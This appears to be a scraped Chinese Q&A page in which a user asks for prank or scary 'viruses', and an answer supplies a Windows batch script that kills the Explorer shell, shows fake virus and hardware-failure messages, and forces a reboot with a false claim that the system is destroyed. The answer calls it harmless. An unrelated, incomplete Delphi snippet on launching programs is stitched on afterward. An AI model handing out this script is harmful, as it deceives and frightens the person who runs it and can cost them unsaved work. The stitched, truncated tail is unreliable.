谁有恶搞的病毒或者吓人的病毒,告诉我下载地址或者制作方法用什么制作,谢谢

谁有恶搞的病毒或者吓人的病毒,告诉我下载地址或者制作方法用什么制作,谢谢,第1张

我有一个既恶搞又吓人的不能说是病毒的程序。

新建一个文本文档(.txt),要复制以下代码:

@echo off

color 4

tskill explorer

echo .

echo .

echo .

echo .

echo 警告:在病毒执行期间禁止关闭电源,

echo 否则你就和你心爱的电脑说

echo .

echo .BYE-BYE

echo .

echo Computer system crash!

echo .

echo .

echo I am a virus, my name is Ghost.

echo 我是魔鬼病毒,在这个堕落的世界上苏醒了。

echo .

echo .Warning! CPU has been changed please re-enter CPU settings

echo. in the CMOS setuo and remember to save before quit.

echo. Secondary IDE channel no 80 conductor cable installed.

set /p select=:)

if "%select%"=="" goto start

:start

shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒,今天是它的发作日期。病毒已经破坏了您的系统,您的计算机将在10秒钟后重启。"

::结束

再另存为:名字.bat 你要记住"名字"后面要加".bat"

就可以了,没有任何破坏性,吓吓人。

你可以试试看看效果。

在 Delphi 程序中调用别的可执行程序,可以使用三种方法:

1、WinExec

示例代码:

WinExec('Notepad.exe Readme.txt', SW_SHOW)//运行记事本

2、ShellExecute

//调用记事本 

ShellExecute(NULL,"open","NOTEPAD.EXE",NULL,NULL,SW_SHOWNORMAL)

3、CreateProcess


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/7982883.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-04-12
下一篇 2023-04-12

发表评论

登录后才能评论

评论列表(0条)

保存